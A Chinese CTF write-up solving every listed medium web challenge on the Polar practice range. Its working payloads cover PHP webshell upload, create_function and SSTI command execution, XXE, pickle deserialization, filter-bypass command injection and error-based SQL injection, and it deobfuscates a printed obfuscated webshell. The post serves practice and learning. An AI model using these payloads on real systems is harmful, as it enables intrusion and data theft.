【Web】记录Polar靶场＜中等＞难度题一遍过(全)

目录

到底给不给flag呢

写shell

注入 

某函数的复仇 

xxe

SSTI 

unpickle

BlackMagic

反序列化

找找shell

再来ping一波啊

wu 

代码审计1 

你的马呢？ 

ezphp

随机值 

phpurl

search

file

PlayGame 

csdn 

反正持续一个月，感觉XYCTF也不急着打，再沉淀沉淀吧(

到底给不给flag呢

只传GET即可，互相变量覆盖 

?a=flag&flag=a

 

写shell

这不一眼死亡exit绕过

探索php伪协议以及死亡绕过 - FreeBuf网络安全行业门户

payload:

?filename=php://filter/convert.base64-decode/resource=1.php
content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

 连蚁剑，拿flag

 

 

注入 

 

这下一眼sql注入了，但经过尝试并不行

参考文章：​​​​​​xpath注入详解

payload:

?id=']|//*|ss['

某函数的复仇 

第一个参数为空的函数，特征很明显是create_function

打create_function注入即可

create_function()代码注入

payload:

?root=;}system('env');/*
shaw=create_function

绷不住了，环境变量的flag又是假的，还得读文件 

?root=;}system('more /f*');/*
shaw=create_function

 

xxe

 

参考文章：vulhub/php/php_xxe/README.md at master · vulhub/vulhub · GitHub

访问simplexml_load_string.php

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flagggg.php" >]>
<root>
<name>&xxe;</name>
</root>

 

base64解码即可

 

SSTI 

测出SSTI 

 参考文章，直接拿武器库随便试一下就可

【心得】基于flask的SSTI个人笔记-CSDN博客

payload:

?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

 

unpickle

题目附件

import pickle
import base64
from flask import Flask, requestapp = Flask(__name__)@app.route("/")
def index():try:user = base64.b64decode(request.cookies.get('user'))user = pickle.loads(user)return userexcept:username = "Guest"return "Hello %s" % usernameif __name__ == "__main__":app.run(host="0.0.0.0", port=8080)

显然一个pickle反序列化，但是从cookie处打入的

exp

import requests
import pickle
import base64class exp(object):def __reduce__(self):return eval , ("open('/flag','r').read()", )e=exp()
exp = pickle.dumps(e)
user_b64 = base64.b64encode(exp).decode()
print(user_b64)

Cookie处传入user=xxx即可 

BlackMagic

 访问/BlackMagic.php

右键查看源码

直接本地跑一下看看$strContent是什么

<?php
$strCharList = "\r\n\0\x0B ";
$strFlag = "\r 	xxxxx...xxxxx	 \n";
$strContent = trim($strFlag, $strCharList);
echo urlencode($strContent);

 ​​​​

最终payload:

?strTmp=%09xxxxx...xxxxx%09

 

反序列化

链子很短 

example.__destruct -> example.funnnn -> process.close 

 exp

环境好像有问题，找不到flag&直接读环境变量的flag不对，意思一下吧

?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}

找找shell

题目叫找找shell，那就随手试个/shell.php，真的有，但不知道密码是啥

 

懵逼的时候才发现有一个附件shell.txt

<?php 
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));?>

是一段混淆，简单处理下即可

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $O00OO0 . "\n";
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
echo $O00O0O . "\n";
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
echo $O0OO00 . "\n";
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
echo $OO0O00 . "\n";
$OO0000=$O00OO0{7}.$O00OO0{13};
echo $OO0000 . "\n";
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo $O00O0O.  "\n";

输出结果：

再对最后这段代码处理 

 eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));

base64解码一下

 得到

$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $O00OO0 . "\n";
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
echo $O00O0O . "\n";
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
echo $O0OO00 . "\n";
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
echo $OO0O00 . "\n";
$OO0000=$O00OO0{7}.$O00OO0{13};
echo $OO0000 . "\n";
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo $O00O0O.  "\n";
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";
echo '?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)));

拿到密码为usam 

 连蚁剑，拿flag

 

再来ping一波啊

随手试试可以命令执行

 

懒得fuzz，手测了几个waf:{、/、空格、tac、ls

index也给ban了，不知道flag在哪，只能先读index.php了，可以变量拼接绕过

;a=ind;b=ex;ta\c$IFS$9$a$b.php

往下拉直接读到flag

wu 

无数字字母RCE

最简单的思路直接取反 

建议用这个y4👴的一站式脚本

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){$result = (urldecode($par1)|urldecode($par2));return $result;
}//异或
function xorRce($par1, $par2){$result = (urldecode($par1)^urldecode($par2));return $result;
}//取反
function negateRce(){fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}//mode=1代表或，2代表异或，3代表取反
//取反的话，就没必要生成字符去跑了，因为本来就是不可见字符，直接绕过正则表达式
function generate($mode, $preg="/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/"){if ($mode!=3){$myfile = fopen("rce.txt", "w");$contents = "";for ($i=0;$i<256;$i++){for ($j=0;$j<256;$j++){if ($i<16){$hex_i = '0'.dechex($i);}else{$hex_i = dechex($i);}if ($j<16){$hex_j = '0'.dechex($j);}else{$hex_j = dechex($j);}if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$par1 = "%".$hex_i;$par2 = '%'.$hex_j;$res = '';if ($mode==1){$res = orRce($par1, $par2);}else if ($mode==2){$res = xorRce($par1, $par2);}if (ord($res)>=32&ord($res)<=126){$contents=$contents.$res." ".$par1." ".$par2."\n";}}}}fwrite($myfile,$contents);fclose($myfile);}else{negateRce();}
}
generate(3,"/[A-Za-z0-9]+/");
//1代表模式，后面的是过滤规则

代码审计1 

 这个正则直接大小写绕过就可了，然后echo那部分不一眼php原生类

CTF 中 PHP原生类的利用 – JohnFrod's Blog

经过尝试可以读文件 

?sys=SplFileObject&xsx=/etc/passwd

直接伪协议读flag.php 

?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php

 base64解码拿到flag

你的马呢？ 

 题目让我们上传php脚本

试了php,php1-5,phtml都被拦截了，那估计得传图片马了

随即看到文件包含点，靠谱

除了后缀检测，还对文件内容进行了检测，把php换成=即可 

访问/index.php?file=uploads/yjh.png，连蚁剑，拿flag 

 

ezphp

访问/robots.txt

 访问/file/file.php，发现存在一个任意文件包含的点

 访问/uploads/upload.php

思路很清晰，上传恶意文件然后包含 

和上题一样，上传一个图片马

文件上传的路径没有回显，自己翻一翻就能找到

 /file/file.php?filename=../uploads/images/yjh3.png

  连蚁剑，拿flag

随机值 

引用取址绕过即可 

<?php
class Index{public $Polar1;public $Polar2;public $Night;public $Light;
}$a=new Index();
$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;
echo serialize($a);

 ?sys=O:5:"Index":4:{s:6:"Polar1";N;s:6:"Polar2";R:2;s:5:"Night";N;s:5:"Light";R:3;}

 

phpurl

附件内容

在某次渗透测试中，红队使用网站目录探测工具发现网站源码泄漏，该文件名疑似名被加密：aW5kZXgucGhwcw。  

base64解码拿到index.phps 

 

访问/index.phps

 这不一眼二次url编码

 

payload: 

?sys=%25%37%38%25%37%38%25%37%33

 

 

这个UI🤔一眼sql注入啊

随手一个1'直接报错，可以报错注入 

 过滤了空格，/**/替代即可

 

测出列数为5 

 

过滤了updatexml 

大小写绕过即可

query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(SelEct/**/group_Concat(Table_name)From/**/information_schema.tables/**/Where/**/table_schema=database()),0x7e),1)#

 

query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(SelEct/**/group_Concat(Column_name)From/**/information_schema.columns/**/Where/**/table_name='Flag'/**/and/**/table_schema=database()),0x7e),1)# 

query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/group_Concat(Flag)/**/From/**/Flag),0x7e),1)#

 回显长度不够，substr截一下

query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/substr((group_Concat(Flag)),1,31)/**/From/**/Flag),0x7e),1)#

 

query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/substr((group_Concat(Flag)),32,60)/**/From/**/Flag),0x7e),1)#

 

file

dirsearch扫出来如下

把button的disabled属性给删掉

 

上传文件改mimetype即可 

 

访问/uploaded/yjh3.php

连蚁剑，拿flag 

 

PlayGame 

瞪眼看链子

PlayGame.__destruct -> User.__toString -> PlayGame.__toString -> PlayGame.openGame()

构造exp

$b=new User();
$a=new PlayGame();
$c=new PlayGame();
$b->name=$c;
$a->user=$b;
$c->gameFile="/flag";
echo serialize($a);

注意传参的时候要polar[flag.flag，不多解释

payload:

?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";N;}

右键查看源码拿到flag

csdn 

初始界面右键查看源码

?xxs=file:///ect/passwd测出文件包含

 

?xxs=file:///flag.txt拿到flag

我寻思这也不在flag目录下啊🤔 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/586290.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

2024年，短期PMP备考上岸攻略！

2024年，短期PMP备考上岸攻略！

今天分享一个PMP备考经验&#xff0c;正在备考PMP的小伙伴&#xff0c;咱们共勉&#xff01; 第一周、阅读教材 之前是第六版教材&#xff0c;花了很长时间阅读和梳理框架。现在是第七版教材&#xff0c;内容少了很多&#xff0c;只有300多页&#xff0c;不会特别耗时间&…
阅读更多...
offsetof宏（想了解offsetof宏的使用，那么看这一篇就足够了！）

offsetof宏（想了解offsetof宏的使用，那么看这一篇就足够了！）

前言&#xff1a;在我们学习结构体的时候&#xff0c;我们知道&#xff0c;结构体中的元素不一定是紧密排列的&#xff0c;其中有对其数和偏移量&#xff0c;那么有没有什么方法能直接输出某个元素的偏移量呢&#xff1f;答案是有的&#xff0c;我们只需要使用offsetof宏即可。…
阅读更多...
网络安全之IP地址证书的重要性

网络安全之IP地址证书的重要性

在数字化时代&#xff0c;网络空间已成为各类活动的重要载体&#xff0c;无论是商业交易、信息交流还是远程办公&#xff0c;都离不开互联网的支撑。然而&#xff0c;网络环境的开放性与匿名性也带来了安全风险&#xff0c;如何确保网络交互中的身份真实可信&#xff0c;成为了…
阅读更多...
13.Python图形用户界面

13.Python图形用户界面

我们之前的程序运行结果都被输出到命令提示符&#xff08;终端&#xff09;窗口&#xff0c;界 面比较简陋。本章讲解如何将其输出到图形界面。 1 Python中的图形用户界面开发库 注Qt是一个跨平台的C应用程序开发框架&#xff0c;被广泛用于开发GUI 程序&#xff0c;也可用于开…
阅读更多...
mysql 本地电脑服务部署

mysql 本地电脑服务部署

前提&#xff1a; 下载mysql 新建配置文档 在安装mysql目录新建 my.ini [mysqld] # 设置3306端口 port3306#设置mysql的安装目录 basedirC:\Program Files\MySQL\MySQL Server 8.3 #切记此处一定要用双斜杠\\,单斜杠我这里会出错&#xff0c;不过看别人的教程&#xff0c;有…
阅读更多...
探索AI技术创业的三大机遇

探索AI技术创业的三大机遇

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a;日常聊聊 ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 方向一&#xff1a;行业解决方案 方向二&#xff1a;智能产品和服务 方向三&#xff1a;教育和培训 结语 我的其他博客 前言…
阅读更多...
vant4的TextEllipsis 文本省略，禁用展开，收起方法

vant4的TextEllipsis 文本省略，禁用展开，收起方法

一、需求&#xff1a; 实现多行文本展示&#xff0c;规定大于3行&#xff0c;显示省略号...和查看全部按钮&#xff1b;&#xff08;并且考虑兼容性问题&#xff09; 二、效果图&#xff1a; 三、实现&#xff1a; 如果自己写样式的话&#xff0c;可以对照这个链接实现CSS 实…
阅读更多...
C++ vector 动态 向量/数组

C++ vector 动态 向量/数组

文章目录 【 1. vector 的声明与初始化 】1.1 vector 的声明1.2 vector 的初始化1.2.1 构造一个空的 vector1.2.2 指定数量初值的方式初始化 vector1.2.3 迭代器的方式初始化1.2.4 构造一个相同的 vector 【 2. vector 的相关操作 】2.1 插入元素2.1.1 在vector的末尾插入新元素…
阅读更多...
公司百度百科词条如何修改，五个公司百度百科词条修改技巧全揭秘！

公司百度百科词条如何修改，五个公司百度百科词条修改技巧全揭秘！

当人们在搜索一个公司的信息时&#xff0c;通常会首先查找该公司的百度百科词条。作为一家公司&#xff0c;其百度百科词条的准确性和全面性对于公司形象的塑造至关重要。因此&#xff0c;如何修改公司的百度百科词条成为一项至关重要的任务。本文洛希爱做百科网将为您介绍公司…
阅读更多...
uniapp创建opendb-city-china Schema文件后，如何导入城市的数据？

uniapp创建opendb-city-china Schema文件后，如何导入城市的数据？

1.点击opendb-city-china后面的详情&#xff0c;进入到gitee代码仓库 2.下载如下图所示的data.json文件 3.将本地创建的opendb-city-china.schema.json上传到云端 4.点击导入json 如果直接将data.json导入会报错&#xff0c;如下图所示: 5.将data.json本来的数组对象&#…
阅读更多...
日历插件fullcalendar【前端】

日历插件fullcalendar【前端】

日历插件fullcalendar【前端】 前言版权开源推荐日历插件fullcalendar一、下载二、初次使用日历界面示例-添加事件&#xff0c;删除事件 三、汉化四、动态数据五、前后端交互1.环境搭建-前端搭建2.环境搭建-后端搭建3.代码编写-前端代码fullcalendar.htmlfullcalendar.js 4.代码…
阅读更多...
Mysql故障解析

Mysql故障解析

目录 一、Mysql单实例故障排查 1.故障一 2.故障二 3.故障三 4.故障四 5.故障五 6.故障六 7.故障七 8.故障八 二、Mysql主从故障排查 1.故障一 2.故障二 3.故障三 三、Mysql优化 1.硬件方面 &#xff08;1&#xff09;关于CPU &#xff08;2&#xff09;关于内…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023